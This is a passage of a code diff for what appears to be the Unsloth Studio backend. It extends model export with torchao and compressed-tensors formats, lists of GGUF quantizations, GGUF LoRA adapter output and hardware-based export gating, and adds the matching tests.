_IS_MLX: + mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + elif is_compressed or is_torchao: + save_method = compressed_alias elif format_type == "4-bit (FP4)": save_method = "merged_4bit_forced" elif self._audio_type == "whisper": @@ -464,10 +603,10 @@ class ExportBackend: save_directory, self.current_tokenizer, save_method = save_method ) - # Compressed export writes to the "-" sibling; report that as output. + # Compressed / torchao writes to the "-" sibling; report that as output. final_dir = ( - f"{save_directory}-{_COMPRESSED[format_type][1]}" - if is_compressed + f"{save_directory}-{compressed_suffix}" + if (is_compressed or is_torchao) else save_directory ) self._write_export_metadata(final_dir) @@ -507,10 +646,9 @@ class ExportBackend: token = hf_token, private = private, ) - elif is_compressed and output_path and Path(output_path).is_dir(): - # The compressed model was already built locally in output_path; upload it - # directly so we do not re-run the (expensive, OOM-prone) compression that - # push_to_hub_merged(save_method=fp8/nvfp4) would otherwise do a second time. + elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): + # Already built in output_path; upload it directly instead of re-running the + # expensive quantization that push_to_hub_merged(save_method=...) would redo. hf_api = HfApi(token = hf_token) repo_id = PushToHubMixin._create_repo( PushToHubMixin, @@ -522,7 +660,7 @@ class ExportBackend: username = repo_id.split("/")[0], base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), model_type = getattr(self.current_model.config, "model_type", "llm"), - method = format_type, + method = compressed_alias or format_type, extra = "unsloth", ) ModelCard(content).push_to_hub( @@ -568,6 +706,8 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None @@ -686,7 +826,7 @@ class ExportBackend: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, @@ -697,7 +837,9 @@ class ExportBackend: Args: save_directory: Local directory to save model - quantization_method: GGUF quantization method (e.g., "Q4_K_M") + quantization_method: A single GGUF quant method (e.g., "Q4_K_M") or a list of them + (e.g., ["Q4_K_M", "Q8_0"]). A list produces one GGUF per quant from a single + model load (unsloth save_to_gguf loops internally). push_to_hub: Whether to push to Hugging Face Hub repo_id: Hub repository ID hf_token: Hugging Face token @@ -705,11 +847,13 @@ class ExportBackend: Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None - # Only forward imatrix_file to an unsloth build that accepts it; otherwise even a plain - # no-imatrix export would fail with an unexpected-keyword error against an older unsloth. + # Only forward imatrix_file to an unsloth build that accepts it, else older builds raise + # an unexpected-keyword error even for a plain no-imatrix export. if imatrix_file is not None and not _supports_kwarg( self.current_model.save_pretrained_gguf, "imatrix_file" ): @@ -724,8 +868,14 @@ class ExportBackend: output_path: Optional[str] = None model_tmp_to_cleanup: Optional[str] = None try: - # unsloth expects lowercase quant method - quant_method = quantization_method.lower() + # Normalize to a lowercased list so multiple quants come from one model load. + if isinstance(quantization_method, (list, tuple)): + quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] + else: + quant_methods = [str(quantization_method).lower()] + if not quant_methods: + quant_methods = ["q4_k_m"] + quant_method = quant_methods if len(quant_methods) > 1 else quant_methods[0] # Pin convert_hf_to_gguf.py to setup.sh's tagged llama.cpp ref so it # can't drift past the pinned llama-quantize binary's gguf API. @@ -847,7 +997,7 @@ class ExportBackend: return ( True, - f"GGUF model exported successfully ({quantization_method})", + f"GGUF model exported successfully ({', '.join(quant_methods)})", output_path, ) @@ -867,19 +1017,56 @@ class ExportBackend: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: """ Export LoRA adapter only (not merged). + Args: + gguf: If True, also convert the adapter to a GGUF LoRA file (llama.cpp + convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`. + gguf_outtype: GGUF LoRA output float type; one of q8_0/f16/bf16/f32. + Returns: Tuple of (success: bool, message: str, output_path: Optional[str]) """ + if not _export_runtime_available(): + return False, _export_runtime_message(), None if not self.current_model or not self.current_tokenizer: return False, "No model loaded. Please select a checkpoint first.", None if not self.is_peft: return False, "This is not a PEFT model. No adapter to export.", None + _GGUF_LORA_OUTTYPES = ("q8_0", "f16", "bf16", "f32") + if gguf: + if _IS_MLX: + return ( + False, + "GGUF LoRA adapter export is not supported on macOS/MLX. " + "Use the safetensors adapter instead.", + None, + ) + outtype = str(gguf_outtype).lower() + if outtype not in _GGUF_LORA_OUTTYPES: + return ( + False, + f"Invalid GGUF LoRA outtype '{gguf_outtype}'. " + f"Choose one of {', '.join(_GGUF_LORA_OUTTYPES)}.", + None, + ) + # getattr so an older build without save_pretrained_gguf returns a clean message + # instead of an AttributeError (a generic 500). + _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) + if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): + return ( + False, + "This Unsloth build does not support GGUF LoRA adapter export. " + "Upgrade unsloth and unsloth_zoo, or export the safetensors adapter.", + None, + ) + output_path: Optional[str] = None try: if save_directory: @@ -887,7 +1074,24 @@ class ExportBackend: logger.info(f"Saving LoRA adapter locally to: {save_directory}") ensure_dir(Path(save_directory)) - if _IS_MLX: + if gguf: + # Writes the adapter files plus "-lora-.gguf". + _apply_wsl_sudo_patch() + self.current_model.save_pretrained_gguf( + save_directory, + self.current_tokenizer, + save_method = "lora", + quantization_method = outtype, + # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. + token = hf_token or None, + ) + final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) + logger.info( + "LoRA GGUF export complete. Files in %s:\n %s", + save_directory, + "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", + ) + elif _IS_MLX: # MLX: save adapters.safetensors + tokenizer files self.current_model.save_lora_adapters(save_directory) self.current_tokenizer.save_pretrained(save_directory) @@ -907,7 +1111,24 @@ class ExportBackend: logger.info(f"Pushing LoRA adapter to Hub: {repo_id}") - if _IS_MLX: + if gguf: + # Upload the locally-built GGUF folder; needs a local save_directory so the + # conversion is not re-run. + if not (output_path and Path(output_path).is_dir()): + return ( + False, + "GGUF LoRA Hub upload requires a local save directory; set one and " + "retry.", + None, + ) + hf_api = HfApi(token = hf_token) + hf_api.create_repo(repo_id, private = private, exist_ok = True) + hf_api.upload_folder( + folder_path = output_path, + repo_id = repo_id, + repo_type = "model", + ) + elif _IS_MLX: with tempfile.TemporaryDirectory() as tmp_dir: self.current_model.save_lora_adapters(tmp_dir) self.current_tokenizer.save_pretrained(tmp_dir) diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 052a47dd80..671ef363f5 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -456,6 +456,7 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + compressed_method: Optional[str] = None, ) -> Tuple[bool, str, Optional[str]]: """Export merged PEFT model.""" return self._run_export( @@ -467,6 +468,7 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "compressed_method": compressed_method, }, ) @@ -495,13 +497,13 @@ class ExportOrchestrator: def export_gguf( self, save_directory: str, - quantization_method: str = "Q4_K_M", + quantization_method = "Q4_K_M", push_to_hub: bool = False, repo_id: Optional[str] = None, hf_token: Optional[str] = None, imatrix_file = None, ) -> Tuple[bool, str, Optional[str]]: - """Export model in GGUF format.""" + """Export model in GGUF format. `quantization_method` may be a single method or a list.""" return self._run_export( "gguf", { @@ -521,8 +523,10 @@ class ExportOrchestrator: repo_id: Optional[str] = None, hf_token: Optional[str] = None, private: bool = False, + gguf: bool = False, + gguf_outtype: str = "q8_0", ) -> Tuple[bool, str, Optional[str]]: - """Export LoRA adapter only.""" + """Export LoRA adapter only (optionally also as a GGUF LoRA file).""" return self._run_export( "lora", { @@ -531,6 +535,8 @@ class ExportOrchestrator: "repo_id": repo_id, "hf_token": hf_token, "private": private, + "gguf": gguf, + "gguf_outtype": gguf_outtype, }, ) @@ -557,9 +563,13 @@ class ExportOrchestrator: cmd = {"type": "export", "export_type": export_type, **params} try: self._send_cmd(cmd) + # GGUF for 30B+ models can take 30+ min per quant; a multi-quant list runs them + # all in one op off a single merge, so scale the timeout by the quant count. + _qm = params.get("quantization_method") + _n = len(_qm) if isinstance(_qm, (list, tuple)) and _qm else 1 resp = self._wait_response( f"export_{export_type}_done", - timeout = 3600, # GGUF for 30B+ models can take 30+ min + timeout = 3600 * max(1, _n), ) op_success = resp.get("success", False) op_message = resp.get("message", "") diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index d473dcb54f..7828116236 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -397,6 +397,7 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + compressed_method = cmd.get("compressed_method"), ) elif export_type == "base": success, message, output_path = backend.export_base_model( @@ -423,6 +424,8 @@ def _handle_export(backend, cmd: dict, resp_queue: Any) -> None: repo_id = cmd.get("repo_id"), hf_token = cmd.get("hf_token"), private = cmd.get("private", False), + gguf = cmd.get("gguf", False), + gguf_outtype = cmd.get("gguf_outtype", "q8_0"), ) else: success, message = False, f"Unknown export type: {export_type}" diff --git a/studio/backend/main.py b/studio/backend/main.py index 0613a5ae53..8762c43195 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -1145,7 +1145,7 @@ def get_system_info(current_subject: str = Depends(get_current_subject)): import os import time import logging - from utils.hardware import get_device + from utils.hardware import get_device, export_capability from utils.hardware.hardware import _backend_label logger = logging.getLogger(__name__) @@ -1218,6 +1218,8 @@ def get_system_info(current_subject: str = Depends(get_current_subject)): }, "gpu": gpu_info, "ml_packages": ml_packages, + # Export capability + torch-aware reason. See /api/system/hardware. + **export_capability(), } @@ -1240,11 +1242,13 @@ def get_hardware_info( method auto-selection. Sync def (not async): hardware/detail probes can shell out, and FastAPI runs sync endpoints in a threadpool. """ - from utils.hardware import get_gpu_summary, get_package_versions + from utils.hardware import get_gpu_summary, get_package_versions, export_capability body = { "gpu": get_gpu_summary(), "versions": get_package_versions(), + # Export capability + torch-aware reason; the Export UI grays out with the message. + **export_capability(), } if include_details: from utils.llama_cpp_update import get_installed_llama_version diff --git a/studio/backend/models/export.py b/studio/backend/models/export.py index 7e05373f11..9dc4d9451a 100644 --- a/studio/backend/models/export.py +++ b/studio/backend/models/export.py @@ -6,7 +6,7 @@ from pathlib import Path, PureWindowsPath from pydantic import BaseModel, Field, field_validator -from typing import List, Optional, Literal, Dict, Any +from typing import List, Optional, Literal, Dict, Any, Union def _validate_save_directory(value: str) -> str: @@ -168,6 +168,15 @@ class ExportMergedModelRequest(ExportCommonOptions): description = "Export precision / format for the merged model. The compressed-tensors " "options run llm-compressor for vLLM (FP8 is data-free; NVFP4 calibrates).", ) + compressed_method: Optional[str] = Field( + None, + description = "Optional quantized-export alias. Either a compressed-tensors scheme " + "(e.g. 'fp8', 'fp8_static', 'w8a8', 'w4a16', 'mxfp4', 'mxfp8', 'nvfp4' - NVIDIA only) " + "from unsloth.save COMPRESSED_EXPORT_SCHEMES, or a portable torchao alias " + "('torchao_fp8', 'torchao_int8') from TORCHAO_EXPORT_SCHEMES that needs no NVIDIA GPU. " + "When set, it overrides format_type. Lets the export UI expose the full set of formats " + "beyond the quick buttons.", + ) class ExportBaseModelRequest(ExportCommonOptions): @@ -189,9 +198,10 @@ class ExportGGUFRequest(BaseModel): def _check_save_directory(cls, v): return _validate_save_directory(v) - quantization_method: str = Field( + quantization_method: Union[str, List[str]] = Field( "Q4_K_M", - description = 'GGUF quantization method (e.g. "Q4_K_M")', + description = 'GGUF quantization method(s). A single method (e.g. "Q4_K_M") or a list ' + '(e.g. ["Q4_K_M", "Q8_0"]) to produce multiple GGUFs from one model load.', ) push_to_hub: bool = Field( False, @@ -219,4 +229,13 @@ class ExportGGUFRequest(BaseModel): class ExportLoRAAdapterRequest(ExportCommonOptions): """Request for exporting only the LoRA adapter (not merged).""" - # Uses fields from ExportCommonOptions only + gguf: bool = Field( + False, + description = "If True, also convert the adapter to a GGUF LoRA file " + "(llama.cpp convert_lora_to_gguf.py), loadable with `llama-cli --lora ...`.", + ) + gguf_outtype: Literal["q8_0", "f16", "bf16", "f32"] = Field( + "q8_0", + description = "GGUF LoRA output float type (only used when gguf=True). " + "Q8_0 falls back to F16 per tensor for dims not divisible by the block size (32).", + ) diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py index cf2cb2fa70..a7fd7cbec7 100644 --- a/studio/backend/routes/export.py +++ b/studio/backend/routes/export.py @@ -46,6 +46,23 @@ router = APIRouter() logger = get_logger(__name__) +def _ensure_export_supported() -> None: + """Reject a mutating export request up front (HTTP 400) when the host can't export. + + Keeps the backend authoritative even if a client bypasses the UI gate. Read-only endpoints + (scan/status/logs) are intentionally NOT gated so the Export page can still render the reason. + """ + from utils.hardware import export_capability + + cap = export_capability() + if not cap.get("export_supported", True): + raise HTTPException( + status_code = 400, + detail = cap.get("export_unsupported_message") + or "Export is not supported on this platform.", + ) + + @router.post("/load-checkpoint", response_model = ExportOperationResponse) async def load_checkpoint( request: LoadCheckpointRequest, current_subject: str = Depends(get_current_subject) @@ -58,6 +75,7 @@ async def load_checkpoint( a clear error instead of tearing down the user's other running workloads. """ try: + _ensure_export_supported() backend = get_export_backend() # Run in a worker thread (spawns and waits on a subprocess, can take # minutes) so the event loop stays free to serve the live log SSE stream. @@ -266,6 +284,7 @@ async def export_merged_model( Wraps ExportBackend.export_merged_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_merged_model, @@ -275,6 +294,7 @@ async def export_merged_model( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + compressed_method = request.compressed_method, ) if not success: @@ -304,6 +324,7 @@ async def export_base_model( Wraps ExportBackend.export_base_model. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_base_model, @@ -342,6 +363,7 @@ async def export_gguf( Wraps ExportBackend.export_gguf. """ try: + _ensure_export_supported() backend = get_export_backend() # A custom path wins; otherwise the imatrix toggle requests the upstream auto-download. imatrix_file = request.imatrix_path or (True if request.imatrix else None) @@ -382,6 +404,7 @@ async def export_lora_adapter( Wraps ExportBackend.export_lora_adapter. """ try: + _ensure_export_supported() backend = get_export_backend() success, message, output_path = await asyncio.to_thread( backend.export_lora_adapter, @@ -390,6 +413,8 @@ async def export_lora_adapter( repo_id = request.repo_id, hf_token = request.hf_token, private = request.private, + gguf = request.gguf, + gguf_outtype = request.gguf_outtype, ) if not success: diff --git a/studio/backend/tests/test_export_capability.py b/studio/backend/tests/test_export_capability.py new file mode 100644 index 0000000000..e04417f933 --- /dev/null +++ b/studio/backend/tests/test_export_capability.py @@ -0,0 +1,156 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for export capability gating. + +Export is supported iff ``get_device() in {CUDA, XPU, MLX}``, with a torch-aware reason otherwise +(pytorch_not_installed / no_accelerator / mlx_unavailable), and the backend must import without +PyTorch. The matrix mocks the hardware probes; wiring is checked with ast so it runs on CPU. +""" + +import ast +import builtins +from pathlib import Path + +import pytest + +import utils.hardware.hardware as hw + +_BACKEND = Path(__file__).resolve().parent.parent + + +def _src(rel): + return (_BACKEND / rel).read_text(encoding = "utf-8") + + +def _func_src(rel, name): + src = _src(rel) + node = next( + n for n in ast.walk(ast.parse(src)) if isinstance(n, ast.FunctionDef) and n.name == name + ) + return ast.get_source_segment(src, node) + + +# -- capability matrix -------------------------------------------------------------------------- + + +def _patch(monkeypatch, *, torch: bool, device, apple: bool): + monkeypatch.setattr(hw, "_has_torch", lambda: torch) + monkeypatch.setattr(hw, "get_device", lambda: device) + monkeypatch.setattr(hw, "is_apple_silicon", lambda: apple) + + +def test_cpu_with_torch_unsupported_no_accelerator(monkeypatch): + # PyTorch present but no accelerator: unsupported with no_accelerator, not "PyTorch missing". + _patch(monkeypatch, torch = True, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "no_accelerator" + assert "accelerator" in cap["export_unsupported_message"].lower() + # Must NOT tell a user with PyTorch installed to install PyTorch. + assert "PyTorch is not installed" not in cap["export_unsupported_message"] + + +def test_cuda_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.CUDA, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is True + assert cap["export_unsupported_reason"] is None + assert cap["export_unsupported_message"] is None + + +def test_xpu_with_torch_supports_export(monkeypatch): + _patch(monkeypatch, torch = True, device = hw.DeviceType.XPU, apple = False) + assert hw.export_capability()["export_supported"] is True + + +def test_mlx_without_torch_supports_export(monkeypatch): + # Apple Silicon MLX exports without PyTorch. + _patch(monkeypatch, torch = False, device = hw.DeviceType.MLX, apple = True) + assert hw.export_capability()["export_supported"] is True + + +def test_no_torch_non_apple_reports_pytorch_missing(monkeypatch): + _patch(monkeypatch, torch = False, device = hw.DeviceType.CPU, apple = False) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "pytorch_not_installed" + assert "PyTorch is not installed" in cap["export_unsupported_message"] + + +def test_apple_without_mlx_reports_mlx_unavailable(monkeypatch): + # Apple + CPU means the MLX stack is missing; reason is mlx_unavailable regardless of torch. + for has_torch in (False, True): + _patch(monkeypatch, torch = has_torch, device = hw.DeviceType.CPU, apple = True) + cap = hw.export_capability() + assert cap["export_supported"] is False + assert cap["export_unsupported_reason"] == "mlx_unavailable" + assert "MLX" in cap["export_unsupported_message"] + + +# -- import safety without PyTorch -------------------------------------------------------------- + + +def test_export_backend_imports_without_torch(monkeypatch): + """core/export/export.py must import on a --no-torch host (unsloth/torch blocked) and return a + clean 'PyTorch is not installed' message from an export attempt, not crash at import.""" + import importlib + import sys + + real_import = builtins.__import__ + + def blocking_import(name, *args, **kwargs): + top = name.split(".")[0] + if top in {"torch", "unsloth"}: + raise ImportError(f"simulated: {top} not installed") + return real_import(name, *args, **kwargs) + + # Drop any preloaded copies so the guarded import paths re-run under the block. + for m in [k for k in sys.modules if k.split(".")[0] in {"torch", "unsloth"}]: + monkeypatch.delitem(sys.modules, m, raising = False) + monkeypatch.delitem(sys.modules, "core.export.export", raising = False) + monkeypatch.setattr(builtins, "__import__", blocking_import) + + mod = importlib.import_module("core.export.export") + assert mod._IS_MLX is False + assert mod.torch is None + assert mod._export_runtime_available() is False + + be = mod.ExportBackend.__new__(mod.ExportBackend) + be.current_model = None + be.current_tokenizer = None + be.is_peft = False + be._audio_type = None + ok, message, out = be.export_merged_model("/tmp/does-not-matter") + assert ok is False + assert "PyTorch is not installed" in message + + +# -- endpoint / backend wiring (ast) ------------------------------------------------------------ + + +def test_main_endpoints_expose_export_capability(): + m = _src("main.py") + # Both system endpoints spread export_capability() into their response. + assert m.count("**export_capability()") >= 2 + assert '"/api/system/hardware"' in m and '"/api/system"' in m + + +def test_routes_guard_mutating_endpoints(): + r = _src("routes/export.py") + assert "def _ensure_export_supported()" in r + # load + all four export endpoints call the guard. + assert r.count("_ensure_export_supported()") >= 6 + + +def test_export_methods_check_runtime(): + e = _src("core/export/export.py") + assert "def _export_runtime_available()" in e + # Each export method returns the clear message when the runtime is missing. + assert e.count("_export_runtime_available()") >= 5 + assert "_PYTORCH_MISSING_MESSAGE" in e + + +def test_export_capability_reads_no_torch_helper(): + cap = _func_src("utils/hardware/hardware.py", "export_capability") + assert "_has_torch()" in cap and "DeviceType.MLX" in cap and "is_apple_silicon()" in cap diff --git a/studio/backend/tests/test_export_imatrix_compressed.py b/studio/backend/tests/test_export_imatrix_compressed.py index d914ff8651..f499390add 100644 --- a/studio/backend/tests/test_export_imatrix_compressed.py +++ b/studio/backend/tests/test_export_imatrix_compressed.py @@ -54,8 +54,7 @@ def test_merged_request_rejects_unknown_format(): def test_export_gguf_threads_imatrix_to_save_and_push(): - # imatrix_file must reach both save_pretrained_gguf and push_to_hub_gguf, but only via the - # conditional **imatrix_kw so a no-imatrix export never sends an unsupported keyword. + # imatrix_file must reach both save paths, but only via the conditional **imatrix_kw. g = _func_src("core/export/export.py", "export_gguf") assert g.count("**imatrix_kw") >= 2 assert 'imatrix_kw = {"imatrix_file": imatrix_file} if imatrix_file is not None else {}' in g @@ -109,8 +108,139 @@ def test_export_merged_maps_compressed_to_save_method(): def test_compressed_hub_push_uploads_local_dir_without_recompressing(): - # A compressed Hub push must upload the already-built output_path, not re-run compression - # via push_to_hub_merged (which would compress a second time). + # A compressed / torchao Hub push must upload the built output_path, not re-quantize. m = _func_src("core/export/export.py", "export_merged_model") - assert "elif is_compressed and output_path and Path(output_path).is_dir():" in m + assert "elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir():" in m assert "hf_api.upload_folder(" in m and "folder_path = output_path" in m + + +# -- torchao portable FP8/INT8 (device-agnostic, no NVIDIA GPU) --------------------------------- + + +def test_merged_request_accepts_torchao_aliases(): + # Portable torchao aliases pass through compressed_method (validated in the backend registry). + for alias in ("torchao_fp8", "torchao_int8"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_routes_torchao_and_skips_nvidia_guard(): + m = _func_src("core/export/export.py", "export_merged_model") + # torchao is classified separately and its suffix comes from the torchao normalizer. + assert "_normalize_torchao_method(compressed_alias)" in m + assert "is_torchao = torchao_info is not None" in m + assert "is_compressed = compressed_alias is not None and not is_torchao" in m + # The NVIDIA guard applies to compressed-tensors only, not torchao. + assert "_has_nvidia_gpu()" in m + # torchao routes through save_method just like compressed. + assert "elif is_compressed or is_torchao:" in m + + +def test_export_merged_nvidia_guard_present(): + m = _func_src("core/export/export.py", "export_merged_model") + assert "requires an NVIDIA GPU" in m + + +def test_has_nvidia_gpu_helper_reads_hardware_module(): + h = _func_src("core/export/export.py", "_has_nvidia_gpu") + assert "DeviceType.CUDA" in h and "IS_ROCM" in h + + +def test_export_merged_relaxes_is_peft_guard(): + # Non-PEFT (Local/HF base) models can now export merged; the old hard block must be gone. + m = _func_src("core/export/export.py", "export_merged_model") + assert "Use 'Export Base Model' instead." not in m + + +def test_unsloth_save_has_torchao_registry_and_path(): + # Read unsloth/save.py as text (not import) so this runs in the CPU suite without unsloth. + save_py = (_BACKEND.parent.parent / "unsloth" / "save.py").read_text(encoding = "utf-8") + assert "def _normalize_torchao_method" in save_py + assert "def _unsloth_save_torchao" in save_py + assert "TORCHAO_EXPORT_SCHEMES = {" in save_py + # torchao aliases must map to (scheme, suffix) so the backend routes to the torchao path. + assert '"torchao_fp8": ("fp8", "torchao-fp8")' in save_py + assert '"torchao_int8": ("int8", "torchao-int8")' in save_py + + +# -- GGUF multi-quant list ---------------------------------------------------------------------- + + +def test_gguf_request_accepts_list_of_quants(): + r = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = ["Q4_K_M", "Q8_0"]) + assert r.quantization_method == ["Q4_K_M", "Q8_0"] + r2 = ExportGGUFRequest(save_directory = "/tmp/x", quantization_method = "Q4_K_M") + assert r2.quantization_method == "Q4_K_M" + + +def test_export_gguf_normalizes_quant_list(): + g = _func_src("core/export/export.py", "export_gguf") + assert "isinstance(quantization_method, (list, tuple))" in g + assert "quant_methods" in g + + +# -- GGUF LoRA adapter export ------------------------------------------------------------------- + + +def test_lora_request_has_gguf_fields(): + from models.export import ExportLoRAAdapterRequest + + r = ExportLoRAAdapterRequest(save_directory = "/tmp/x") + assert r.gguf is False and r.gguf_outtype == "q8_0" + r2 = ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf = True, gguf_outtype = "q8_0") + assert r2.gguf is True and r2.gguf_outtype == "q8_0" + + +def test_lora_request_rejects_bad_outtype(): + from models.export import ExportLoRAAdapterRequest + with pytest.raises(ValidationError): + ExportLoRAAdapterRequest(save_directory = "/tmp/x", gguf_outtype = "q3_k") + + +def test_export_lora_wires_gguf_save_method(): + la = _func_src("core/export/export.py", "export_lora_adapter") + assert 'save_method = "lora"' in la + assert "quantization_method = outtype" in la + + +def test_orchestrator_and_worker_pass_lora_gguf(): + o = _func_src("core/export/orchestrator.py", "export_lora_adapter") + assert '"gguf": gguf' in o and '"gguf_outtype": gguf_outtype' in o + w = _src("core/export/worker.py") + assert 'gguf = cmd.get("gguf", False)' in w + assert 'gguf_outtype = cmd.get("gguf_outtype", "q8_0")' in w + + +def test_route_passes_lora_gguf(): + r = _src("routes/export.py") + assert "gguf = request.gguf" in r and "gguf_outtype = request.gguf_outtype" in r + + +# -- compressed_method ("all formats" dropdown) ------------------------------------------------- + + +def test_merged_request_accepts_compressed_method(): + # Defaults to None; any scheme alias is accepted (validation happens in the backend registry). + assert ExportMergedModelRequest(save_directory = "/tmp/x").compressed_method is None + for alias in ("fp8", "fp8_static", "w8a8", "w8a16", "w4a16", "mxfp4", "mxfp8", "nvfp4"): + r = ExportMergedModelRequest(save_directory = "/tmp/x", compressed_method = alias) + assert r.compressed_method == alias + + +def test_export_merged_resolves_alias_via_registry(): + # The scheme + suffix must come from unsloth.save's registry normalizer, not a hardcoded dict. + m = _func_src("core/export/export.py", "export_merged_model") + assert "compressed_method" in m + assert "_normalize_compressed_method(compressed_alias)" in m + assert "compressed_alias = compressed_method or _LABEL_TO_ALIAS.get(format_type)" in m + assert "compressed_suffix" in m and 'f"{save_directory}-{compressed_suffix}"' in m + + +def test_orchestrator_and_worker_pass_compressed_method(): + o = _func_src("core/export/orchestrator.py", "export_merged_model") + assert "compressed_method" in o and '"compressed_method": compressed_method' in o + assert 'compressed_method = cmd.get("compressed_method")' in _src("core/export/worker.py") + + +def test_route_passes_compressed_method(): + assert "compressed_method = request.compressed_method" in _src("routes/export.py") diff --git a/studio/backend/utils/hardware/__init__.py b/studio/backend/utils/hardware/__init__.py index 5f2b2abbcf..62b537fbac 100644 --- a/studio/backend/utils/hardware/__init__.py +++ b/studio/backend/utils/hardware/__init__.py @@ -44,6 +44,12 @@ from .vram_estimation import ( estimate_training_vram, ) + +def export_capability() -> dict: + """Return live export capability from the hardware module.""" + return _hardware.export_capability() + + __all__ = [ "DeviceType", "DEVICE", @@ -51,6 +57,7 @@ __all__ = [ "IS_ROCM", "detect_hardware", "get_device", + "export_capability", "is_apple_silicon", "clear_gpu_cache", "get_gpu_memory_info", diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py index cde7070075..8d6c919ebd 100644 --- a/studio/backend/utils/hardware/hardware.py +++ b/studio/backend/utils/hardware/hardware.py @@ -263,6 +263,49 @@ def get_device() -> DeviceType: return DEVICE +def export_capability() -> dict: + """Whether model export can run here, with a torch-aware reason when it cannot. + + Export runs through Unsloth, which hard-requires an accelerator (it calls ``torch.cuda`` at + import and has no CPU path), so it is supported iff ``get_device() in {CUDA, XPU, MLX}``. The + reason distinguishes a --no-torch install from a bare-CPU host. Safe to call without torch. + + Returns {export_supported, export_unsupported_reason, export_unsupported_message}. + """ + if get_device() in (DeviceType.CUDA, DeviceType.XPU, DeviceType.MLX): + return { + "export_supported": True, + "export_unsupported_reason": None, + "export_unsupported_message": None, + } + # No accelerator: name the blocker. Apple Silicon first -- its path is MLX, so "install PyTorch" + # would be wrong advice on a Mac even when torch is also absent. + if is_apple_silicon(): + reason = "mlx_unavailable" + message = ( + "Export on Apple Silicon requires the MLX stack, which is unavailable or too old. Run " + "`unsloth studio update` to restore MLX and enable export." + ) + elif not _has_torch(): + reason = "pytorch_not_installed" + message = ( + "PyTorch is not installed. Model export requires PyTorch with a supported accelerator " + "(NVIDIA, AMD, or Intel GPU) or Apple Silicon (MLX). Install PyTorch to enable export." + ) + else: + reason = "no_accelerator" + message = ( + "Export requires an NVIDIA, AMD, or Intel GPU, or Apple Silicon (MLX). No supported " + "accelerator was found on this host. (PyTorch is installed, but Unsloth cannot export " + "on CPU only.)" + ) + return { + "export_supported": False, + "export_unsupported_reason": reason, + "export_unsupported_message": message, + } + + def clear_gpu_cache(): """ Clear GPU memory cache for the current device. diff --git a/studio/backend/utils/transformers_version.py b/studio/backend/utils/transformers_version.py index ac0ecfbfcd..2a63caa5b2 100644 --- a/studio/backend/utils/transformers_version.py +++ b/studio/backend/utils/transformers_version.py @@ -226,6 +226,11 @@ _VENV_T5_510_DIR = str(_studio_root() / ".venv_t5_510") # Backwards-compat alias _VENV_T5_DIR = _VENV_T5_550_DIR +# llm-compressor-main shadow for FP8/FP4 export of newer-transformers models. Like the .venv_t5_* +# sidecars but also shadows llm-compressor main + compressed-tensors; installed --no-deps so it +# reuses the workspace torch (torch-agnostic). +_VENV_LLMCOMPRESSOR_DIR = str(_studio_root() / ".venv_llmcompressor") + # Tier precedence: higher rank wins in _higher_tier. _TIER_RANK = {"default": 0, "530": 1, "550": 2, "510": 3} @@ -1518,6 +1523,152 @@ def _ensure_venv_t5_exists() -> bool: return _ensure_venv_t5_550_exists() +# --- llm-compressor-main shadow (FP8/FP4 export of newer-transformers models) --------------------- +# Exact, reproducible pins (bump deliberately in review). Full 40-char SHA validated to FP8-quantize +# Qwen3.5 / Gemma-4 / Llama. +_LLMC_MAIN_TRANSFORMERS = "5.10.2" +_LLMC_MAIN_SHA = 